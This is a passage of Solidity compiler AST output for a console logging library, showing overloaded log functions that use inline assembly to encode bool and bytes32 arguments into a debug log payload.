ariableDeclaration","scope":40792,"src":"211973:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":40759,"name":"address","nodeType":"ElementaryTypeName","src":"211973:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"211942:42:22"},"returnParameters":{"id":40762,"nodeType":"ParameterList","parameters":[],"src":"211999:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40832,"nodeType":"FunctionDefinition","src":"213264:1322:22","nodes":[],"body":{"id":40831,"nodeType":"Block","src":"213330:1256:22","nodes":[],"statements":[{"assignments":[40804],"declarations":[{"constant":false,"id":40804,"mutability":"mutable","name":"m0","nameLocation":"213348:2:22","nodeType":"VariableDeclaration","scope":40831,"src":"213340:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40803,"name":"bytes32","nodeType":"ElementaryTypeName","src":"213340:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40805,"nodeType":"VariableDeclarationStatement","src":"213340:10:22"},{"assignments":[40807],"declarations":[{"constant":false,"id":40807,"mutability":"mutable","name":"m1","nameLocation":"213368:2:22","nodeType":"VariableDeclaration","scope":40831,"src":"213360:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40806,"name":"bytes32","nodeType":"ElementaryTypeName","src":"213360:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40808,"nodeType":"VariableDeclarationStatement","src":"213360:10:22"},{"assignments":[40810],"declarations":[{"constant":false,"id":40810,"mutability":"mutable","name":"m2","nameLocation":"213388:2:22","nodeType":"VariableDeclaration","scope":40831,"src":"213380:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40809,"name":"bytes32","nodeType":"ElementaryTypeName","src":"213380:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40811,"nodeType":"VariableDeclarationStatement","src":"213380:10:22"},{"assignments":[40813],"declarations":[{"constant":false,"id":40813,"mutability":"mutable","name":"m3","nameLocation":"213408:2:22","nodeType":"VariableDeclaration","scope":40831,"src":"213400:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40812,"name":"bytes32","nodeType":"ElementaryTypeName","src":"213400:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40814,"nodeType":"VariableDeclarationStatement","src":"213400:10:22"},{"assignments":[40816],"declarations":[{"constant":false,"id":40816,"mutability":"mutable","name":"m4","nameLocation":"213428:2:22","nodeType":"VariableDeclaration","scope":40831,"src":"213420:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40815,"name":"bytes32","nodeType":"ElementaryTypeName","src":"213420:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40817,"nodeType":"VariableDeclarationStatement","src":"213420:10:22"},{"assignments":[40819],"declarations":[{"constant":false,"id":40819,"mutability":"mutable","name":"m5","nameLocation":"213448:2:22","nodeType":"VariableDeclaration","scope":40831,"src":"213440:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40818,"name":"bytes32","nodeType":"ElementaryTypeName","src":"213440:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40820,"nodeType":"VariableDeclarationStatement","src":"213440:10:22"},{"assignments":[40822],"declarations":[{"constant":false,"id":40822,"mutability":"mutable","name":"m6","nameLocation":"213468:2:22","nodeType":"VariableDeclaration","scope":40831,"src":"213460:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40821,"name":"bytes32","nodeType":"ElementaryTypeName","src":"213460:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40823,"nodeType":"VariableDeclarationStatement","src":"213460:10:22"},{"AST":{"nativeSrc":"213489:822:22","nodeType":"YulBlock","src":"213489:822:22","statements":[{"body":{"nativeSrc":"213532:313:22","nodeType":"YulBlock","src":"213532:313:22","statements":[{"nativeSrc":"213550:15:22","nodeType":"YulVariableDeclaration","src":"213550:15:22","value":{"kind":"number","nativeSrc":"213564:1:22","nodeType":"YulLiteral","src":"213564:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"213554:6:22","nodeType":"YulTypedName","src":"213554:6:22","type":""}]},{"body":{"nativeSrc":"213635:40:22","nodeType":"YulBlock","src":"213635:40:22","statements":[{"body":{"nativeSrc":"213664:9:22","nodeType":"YulBlock","src":"213664:9:22","statements":[{"nativeSrc":"213666:5:22","nodeType":"YulBreak","src":"213666:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"213652:6:22","nodeType":"YulIdentifier","src":"213652:6:22"},{"name":"w","nativeSrc":"213660:1:22","nodeType":"YulIdentifier","src":"213660:1:22"}],"functionName":{"name":"byte","nativeSrc":"213647:4:22","nodeType":"YulIdentifier","src":"213647:4:22"},"nativeSrc":"213647:15:22","nodeType":"YulFunctionCall","src":"213647:15:22"}],"functionName":{"name":"iszero","nativeSrc":"213640:6:22","nodeType":"YulIdentifier","src":"213640:6:22"},"nativeSrc":"213640:23:22","nodeType":"YulFunctionCall","src":"213640:23:22"},"nativeSrc":"213637:36:22","nodeType":"YulIf","src":"213637:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"213592:6:22","nodeType":"YulIdentifier","src":"213592:6:22"},{"kind":"number","nativeSrc":"213600:4:22","nodeType":"YulLiteral","src":"213600:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"213589:2:22","nodeType":"YulIdentifier","src":"213589:2:22"},"nativeSrc":"213589:16:22","nodeType":"YulFunctionCall","src":"213589:16:22"},"nativeSrc":"213582:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"213606:28:22","nodeType":"YulBlock","src":"213606:28:22","statements":[{"nativeSrc":"213608:24:22","nodeType":"YulAssignment","src":"213608:24:22","value":{"arguments":[{"name":"length","nativeSrc":"213622:6:22","nodeType":"YulIdentifier","src":"213622:6:22"},{"kind":"number","nativeSrc":"213630:1:22","nodeType":"YulLiteral","src":"213630:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"213618:3:22","nodeType":"YulIdentifier","src":"213618:3:22"},"nativeSrc":"213618:14:22","nodeType":"YulFunctionCall","src":"213618:14:22"},"variableNames":[{"name":"length","nativeSrc":"213608:6:22","nodeType":"YulIdentifier","src":"213608:6:22"}]}]},"pre":{"nativeSrc":"213586:2:22","nodeType":"YulBlock","src":"213586:2:22","statements":[]},"src":"213582:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"213699:3:22","nodeType":"YulIdentifier","src":"213699:3:22"},{"name":"length","nativeSrc":"213704:6:22","nodeType":"YulIdentifier","src":"213704:6:22"}],"functionName":{"name":"mstore","nativeSrc":"213692:6:22","nodeType":"YulIdentifier","src":"213692:6:22"},"nativeSrc":"213692:19:22","nodeType":"YulFunctionCall","src":"213692:19:22"},"nativeSrc":"213692:19:22","nodeType":"YulExpressionStatement","src":"213692:19:22"},{"nativeSrc":"213728:37:22","nodeType":"YulVariableDeclaration","src":"213728:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"213745:3:22","nodeType":"YulLiteral","src":"213745:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"213754:1:22","nodeType":"YulLiteral","src":"213754:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"213757:6:22","nodeType":"YulIdentifier","src":"213757:6:22"}],"functionName":{"name":"shl","nativeSrc":"213750:3:22","nodeType":"YulIdentifier","src":"213750:3:22"},"nativeSrc":"213750:14:22","nodeType":"YulFunctionCall","src":"213750:14:22"}],"functionName":{"name":"sub","nativeSrc":"213741:3:22","nodeType":"YulIdentifier","src":"213741:3:22"},"nativeSrc":"213741:24:22","nodeType":"YulFunctionCall","src":"213741:24:22"},"variables":[{"name":"shift","nativeSrc":"213732:5:22","nodeType":"YulTypedName","src":"213732:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"213793:3:22","nodeType":"YulIdentifier","src":"213793:3:22"},{"kind":"number","nativeSrc":"213798:4:22","nodeType":"YulLiteral","src":"213798:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"213789:3:22","nodeType":"YulIdentifier","src":"213789:3:22"},"nativeSrc":"213789:14:22","nodeType":"YulFunctionCall","src":"213789:14:22"},{"arguments":[{"name":"shift","nativeSrc":"213809:5:22","nodeType":"YulIdentifier","src":"213809:5:22"},{"arguments":[{"name":"shift","nativeSrc":"213820:5:22","nodeType":"YulIdentifier","src":"213820:5:22"},{"name":"w","nativeSrc":"213827:1:22","nodeType":"YulIdentifier","src":"213827:1:22"}],"functionName":{"name":"shr","nativeSrc":"213816:3:22","nodeType":"YulIdentifier","src":"213816:3:22"},"nativeSrc":"213816:13:22","nodeType":"YulFunctionCall","src":"213816:13:22"}],"functionName":{"name":"shl","nativeSrc":"213805:3:22","nodeType":"YulIdentifier","src":"213805:3:22"},"nativeSrc":"213805:25:22","nodeType":"YulFunctionCall","src":"213805:25:22"}],"functionName":{"name":"mstore","nativeSrc":"213782:6:22","nodeType":"YulIdentifier","src":"213782:6:22"},"nativeSrc":"213782:49:22","nodeType":"YulFunctionCall","src":"213782:49:22"},"nativeSrc":"213782:49:22","nodeType":"YulExpressionStatement","src":"213782:49:22"}]},"name":"writeString","nativeSrc":"213503:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"213524:3:22","nodeType":"YulTypedName","src":"213524:3:22","type":""},{"name":"w","nativeSrc":"213529:1:22","nodeType":"YulTypedName","src":"213529:1:22","type":""}],"src":"213503:342:22"},{"nativeSrc":"213858:17:22","nodeType":"YulAssignment","src":"213858:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"213870:4:22","nodeType":"YulLiteral","src":"213870:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"213864:5:22","nodeType":"YulIdentifier","src":"213864:5:22"},"nativeSrc":"213864:11:22","nodeType":"YulFunctionCall","src":"213864:11:22"},"variableNames":[{"name":"m0","nativeSrc":"213858:2:22","nodeType":"YulIdentifier","src":"213858:2:22"}]},{"nativeSrc":"213888:17:22","nodeType":"YulAssignment","src":"213888:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"213900:4:22","nodeType":"YulLiteral","src":"213900:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"213894:5:22","nodeType":"YulIdentifier","src":"213894:5:22"},"nativeSrc":"213894:11:22","nodeType":"YulFunctionCall","src":"213894:11:22"},"variableNames":[{"name":"m1","nativeSrc":"213888:2:22","nodeType":"YulIdentifier","src":"213888:2:22"}]},{"nativeSrc":"213918:17:22","nodeType":"YulAssignment","src":"213918:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"213930:4:22","nodeType":"YulLiteral","src":"213930:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"213924:5:22","nodeType":"YulIdentifier","src":"213924:5:22"},"nativeSrc":"213924:11:22","nodeType":"YulFunctionCall","src":"213924:11:22"},"variableNames":[{"name":"m2","nativeSrc":"213918:2:22","nodeType":"YulIdentifier","src":"213918:2:22"}]},{"nativeSrc":"213948:17:22","nodeType":"YulAssignment","src":"213948:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"213960:4:22","nodeType":"YulLiteral","src":"213960:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"213954:5:22","nodeType":"YulIdentifier","src":"213954:5:22"},"nativeSrc":"213954:11:22","nodeType":"YulFunctionCall","src":"213954:11:22"},"variableNames":[{"name":"m3","nativeSrc":"213948:2:22","nodeType":"YulIdentifier","src":"213948:2:22"}]},{"nativeSrc":"213978:17:22","nodeType":"YulAssignment","src":"213978:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"213990:4:22","nodeType":"YulLiteral","src":"213990:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"213984:5:22","nodeType":"YulIdentifier","src":"213984:5:22"},"nativeSrc":"213984:11:22","nodeType":"YulFunctionCall","src":"213984:11:22"},"variableNames":[{"name":"m4","nativeSrc":"213978:2:22","nodeType":"YulIdentifier","src":"213978:2:22"}]},{"nativeSrc":"214008:17:22","nodeType":"YulAssignment","src":"214008:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"214020:4:22","nodeType":"YulLiteral","src":"214020:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"214014:5:22","nodeType":"YulIdentifier","src":"214014:5:22"},"nativeSrc":"214014:11:22","nodeType":"YulFunctionCall","src":"214014:11:22"},"variableNames":[{"name":"m5","nativeSrc":"214008:2:22","nodeType":"YulIdentifier","src":"214008:2:22"}]},{"nativeSrc":"214038:17:22","nodeType":"YulAssignment","src":"214038:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"214050:4:22","nodeType":"YulLiteral","src":"214050:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"214044:5:22","nodeType":"YulIdentifier","src":"214044:5:22"},"nativeSrc":"214044:11:22","nodeType":"YulFunctionCall","src":"214044:11:22"},"variableNames":[{"name":"m6","nativeSrc":"214038:2:22","nodeType":"YulIdentifier","src":"214038:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"214132:4:22","nodeType":"YulLiteral","src":"214132:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"214138:10:22","nodeType":"YulLiteral","src":"214138:10:22","type":"","value":"0xdc5e935b"}],"functionName":{"name":"mstore","nativeSrc":"214125:6:22","nodeType":"YulIdentifier","src":"214125:6:22"},"nativeSrc":"214125:24:22","nodeType":"YulFunctionCall","src":"214125:24:22"},"nativeSrc":"214125:24:22","nodeType":"YulExpressionStatement","src":"214125:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"214169:4:22","nodeType":"YulLiteral","src":"214169:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"214175:2:22","nodeType":"YulIdentifier","src":"214175:2:22"}],"functionName":{"name":"mstore","nativeSrc":"214162:6:22","nodeType":"YulIdentifier","src":"214162:6:22"},"nativeSrc":"214162:16:22","nodeType":"YulFunctionCall","src":"214162:16:22"},"nativeSrc":"214162:16:22","nodeType":"YulExpressionStatement","src":"214162:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"214198:4:22","nodeType":"YulLiteral","src":"214198:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"214204:4:22","nodeType":"YulLiteral","src":"214204:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"214191:6:22","nodeType":"YulIdentifier","src":"214191:6:22"},"nativeSrc":"214191:18:22","nodeType":"YulFunctionCall","src":"214191:18:22"},"nativeSrc":"214191:18:22","nodeType":"YulExpressionStatement","src":"214191:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"214229:4:22","nodeType":"YulLiteral","src":"214229:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"214235:2:22","nodeType":"YulIdentifier","src":"214235:2:22"}],"functionName":{"name":"mstore","nativeSrc":"214222:6:22","nodeType":"YulIdentifier","src":"214222:6:22"},"nativeSrc":"214222:16:22","nodeType":"YulFunctionCall","src":"214222:16:22"},"nativeSrc":"214222:16:22","nodeType":"YulExpressionStatement","src":"214222:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"214258:4:22","nodeType":"YulLiteral","src":"214258:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"214264:2:22","nodeType":"YulIdentifier","src":"214264:2:22"}],"functionName":{"name":"mstore","nativeSrc":"214251:6:22","nodeType":"YulIdentifier","src":"214251:6:22"},"nativeSrc":"214251:16:22","nodeType":"YulFunctionCall","src":"214251:16:22"},"nativeSrc":"214251:16:22","nodeType":"YulExpressionStatement","src":"214251:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"214292:4:22","nodeType":"YulLiteral","src":"214292:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"214298:2:22","nodeType":"YulIdentifier","src":"214298:2:22"}],"functionName":{"name":"writeString","nativeSrc":"214280:11:22","nodeType":"YulIdentifier","src":"214280:11:22"},"nativeSrc":"214280:21:22","nodeType":"YulFunctionCall","src":"214280:21:22"},"nativeSrc":"214280:21:22","nodeType":"YulExpressionStatement","src":"214280:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40804,"isOffset":false,"isSlot":false,"src":"213858:2:22","valueSize":1},{"declaration":40807,"isOffset":false,"isSlot":false,"src":"213888:2:22","valueSize":1},{"declaration":40810,"isOffset":false,"isSlot":false,"src":"213918:2:22","valueSize":1},{"declaration":40813,"isOffset":false,"isSlot":false,"src":"213948:2:22","valueSize":1},{"declaration":40816,"isOffset":false,"isSlot":false,"src":"213978:2:22","valueSize":1},{"declaration":40819,"isOffset":false,"isSlot":false,"src":"214008:2:22","valueSize":1},{"declaration":40822,"isOffset":false,"isSlot":false,"src":"214038:2:22","valueSize":1},{"declaration":40794,"isOffset":false,"isSlot":false,"src":"214175:2:22","valueSize":1},{"declaration":40796,"isOffset":false,"isSlot":false,"src":"214298:2:22","valueSize":1},{"declaration":40798,"isOffset":false,"isSlot":false,"src":"214235:2:22","valueSize":1},{"declaration":40800,"isOffset":false,"isSlot":false,"src":"214264:2:22","valueSize":1}],"id":40824,"nodeType":"InlineAssembly","src":"213480:831:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40826,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"214336:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":40827,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"214342:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":40825,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"214320:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40828,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"214320:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40829,"nodeType":"ExpressionStatement","src":"214320:27:22"},{"AST":{"nativeSrc":"214366:214:22","nodeType":"YulBlock","src":"214366:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"214387:4:22","nodeType":"YulLiteral","src":"214387:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"214393:2:22","nodeType":"YulIdentifier","src":"214393:2:22"}],"functionName":{"name":"mstore","nativeSrc":"214380:6:22","nodeType":"YulIdentifier","src":"214380:6:22"},"nativeSrc":"214380:16:22","nodeType":"YulFunctionCall","src":"214380:16:22"},"nativeSrc":"214380:16:22","nodeType":"YulExpressionStatement","src":"214380:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"214416:4:22","nodeType":"YulLiteral","src":"214416:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"214422:2:22","nodeType":"YulIdentifier","src":"214422:2:22"}],"functionName":{"name":"mstore","nativeSrc":"214409:6:22","nodeType":"YulIdentifier","src":"214409:6:22"},"nativeSrc":"214409:16:22","nodeType":"YulFunctionCall","src":"214409:16:22"},"nativeSrc":"214409:16:22","nodeType":"YulExpressionStatement","src":"214409:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"214445:4:22","nodeType":"YulLiteral","src":"214445:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"214451:2:22","nodeType":"YulIdentifier","src":"214451:2:22"}],"functionName":{"name":"mstore","nativeSrc":"214438:6:22","nodeType":"YulIdentifier","src":"214438:6:22"},"nativeSrc":"214438:16:22","nodeType":"YulFunctionCall","src":"214438:16:22"},"nativeSrc":"214438:16:22","nodeType":"YulExpressionStatement","src":"214438:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"214474:4:22","nodeType":"YulLiteral","src":"214474:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"214480:2:22","nodeType":"YulIdentifier","src":"214480:2:22"}],"functionName":{"name":"mstore","nativeSrc":"214467:6:22","nodeType":"YulIdentifier","src":"214467:6:22"},"nativeSrc":"214467:16:22","nodeType":"YulFunctionCall","src":"214467:16:22"},"nativeSrc":"214467:16:22","nodeType":"YulExpressionStatement","src":"214467:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"214503:4:22","nodeType":"YulLiteral","src":"214503:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"214509:2:22","nodeType":"YulIdentifier","src":"214509:2:22"}],"functionName":{"name":"mstore","nativeSrc":"214496:6:22","nodeType":"YulIdentifier","src":"214496:6:22"},"nativeSrc":"214496:16:22","nodeType":"YulFunctionCall","src":"214496:16:22"},"nativeSrc":"214496:16:22","nodeType":"YulExpressionStatement","src":"214496:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"214532:4:22","nodeType":"YulLiteral","src":"214532:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"214538:2:22","nodeType":"YulIdentifier","src":"214538:2:22"}],"functionName":{"name":"mstore","nativeSrc":"214525:6:22","nodeType":"YulIdentifier","src":"214525:6:22"},"nativeSrc":"214525:16:22","nodeType":"YulFunctionCall","src":"214525:16:22"},"nativeSrc":"214525:16:22","nodeType":"YulExpressionStatement","src":"214525:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"214561:4:22","nodeType":"YulLiteral","src":"214561:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"214567:2:22","nodeType":"YulIdentifier","src":"214567:2:22"}],"functionName":{"name":"mstore","nativeSrc":"214554:6:22","nodeType":"YulIdentifier","src":"214554:6:22"},"nativeSrc":"214554:16:22","nodeType":"YulFunctionCall","src":"214554:16:22"},"nativeSrc":"214554:16:22","nodeType":"YulExpressionStatement","src":"214554:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40804,"isOffset":false,"isSlot":false,"src":"214393:2:22","valueSize":1},{"declaration":40807,"isOffset":false,"isSlot":false,"src":"214422:2:22","valueSize":1},{"declaration":40810,"isOffset":false,"isSlot":false,"src":"214451:2:22","valueSize":1},{"declaration":40813,"isOffset":false,"isSlot":false,"src":"214480:2:22","valueSize":1},{"declaration":40816,"isOffset":false,"isSlot":false,"src":"214509:2:22","valueSize":1},{"declaration":40819,"isOffset":false,"isSlot":false,"src":"214538:2:22","valueSize":1},{"declaration":40822,"isOffset":false,"isSlot":false,"src":"214567:2:22","valueSize":1}],"id":40830,"nodeType":"InlineAssembly","src":"214357:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"213273:3:22","parameters":{"id":40801,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40794,"mutability":"mutable","name":"p0","nameLocation":"213282:2:22","nodeType":"VariableDeclaration","scope":40832,"src":"213277:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40793,"name":"bool","nodeType":"ElementaryTypeName","src":"213277:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40796,"mutability":"mutable","name":"p1","nameLocation":"213294:2:22","nodeType":"VariableDeclaration","scope":40832,"src":"213286:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40795,"name":"bytes32","nodeType":"ElementaryTypeName","src":"213286:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":40798,"mutability":"mutable","name":"p2","nameLocation":"213303:2:22","nodeType":"VariableDeclaration","scope":40832,"src":"213298:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40797,"name":"bool","nodeType":"ElementaryTypeName","src":"213298:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40800,"mutability":"mutable","name":"p3","nameLocation":"213312:2:22","nodeType":"VariableDeclaration","scope":40832,"src":"213307:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40799,"name":"bool","nodeType":"ElementaryTypeName","src":"213307:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"213276:39:22"},"returnParameters":{"id":40802,"nodeType":"ParameterList","parameters":[],"src":"213330:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40872,"nodeType":"FunctionDefinition","src":"214592:1328:22","nodes":[],"body":{"id":40871,"nodeType":"Block","src":"214661:1259:22","nodes":[],"statements":[{"assignments":[40844],"declarations":[{"constant":false,"id":40844,"mutability":"mutable","name":"m0","nameLocation":"214679:2:22","nodeType":"VariableDeclaration","scope":40871,"src":"214671:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40843,"name":"bytes32","nodeType":"ElementaryTypeName","src":"214671:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40845,"nodeType":"VariableDeclarationStatement","src":"214671:10:22"},{"assignments":[40847],"declarations":[{"constant":false,"id":40847,"mutability":"mutable","name":"m1","nameLocation":"214699:2:22","nodeType":"VariableDeclaration","scope":40871,"src":"214691:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40846,"name":"bytes32","nodeType":"ElementaryTypeName","src":"214691:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40848,"nodeType":"VariableDeclarationStatement","src":"214691:10:22"},{"assignments":[40850],"declarations":[{"constant":false,"id":40850,"mutability":"mutable","name":"m2","nameLocation":"214719:2:22","nodeType":"VariableDeclaration","scope":40871,"src":"214711:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40849,"name":"bytes32","nodeType":"ElementaryTypeName","src":"214711:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40851,"nodeType":"VariableDeclarationStatement","src":"214711:10:22"},{"assignments":[40853],"declarations":[{"constant":false,"id":40853,"mutability":"mutable","name":"m3","nameLocation":"214739:2:22","nodeType":"VariableDeclaration","scope":40871,"src":"214731:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40852,"name":"bytes32","nodeType":"ElementaryTypeName","src":"214731:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40854,"nodeType":"VariableDeclarationStatement","src":"214731:10:22"},{"assignments":[40856],"declarations":[{"constant":false,"id":40856,"mutability":"mutable","name":"m4","nameLocation":"214759:2:22","nodeType":"VariableDeclaration","scope":40871,"src":"214751:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40855,"name":"bytes32","nodeType":"ElementaryTypeName","src":"214751:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40857,"nodeType":"VariableDeclarationStatement","src":"214751:10:22"},{"assignments":[40859],"declarations":[{"constant":false,"id":40859,"mutability":"mutable","name":"m5","nameLocation":"214779:2:22","nodeType":"VariableDeclaration","scope":40871,"src":"214771:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40858,"name":"bytes32","nodeType":"ElementaryTypeName","src":"214771:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40860,"nodeType":"VariableDeclarationStatement","src":"214771:10:22"},{"assignments":[40862],"declarations":[{"constant":false,"id":40862,"mutability":"mutable","name":"m6","nameLocation":"214799:2:22","nodeType":"VariableDeclaration","scope":40871,"src":"214791:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40861,"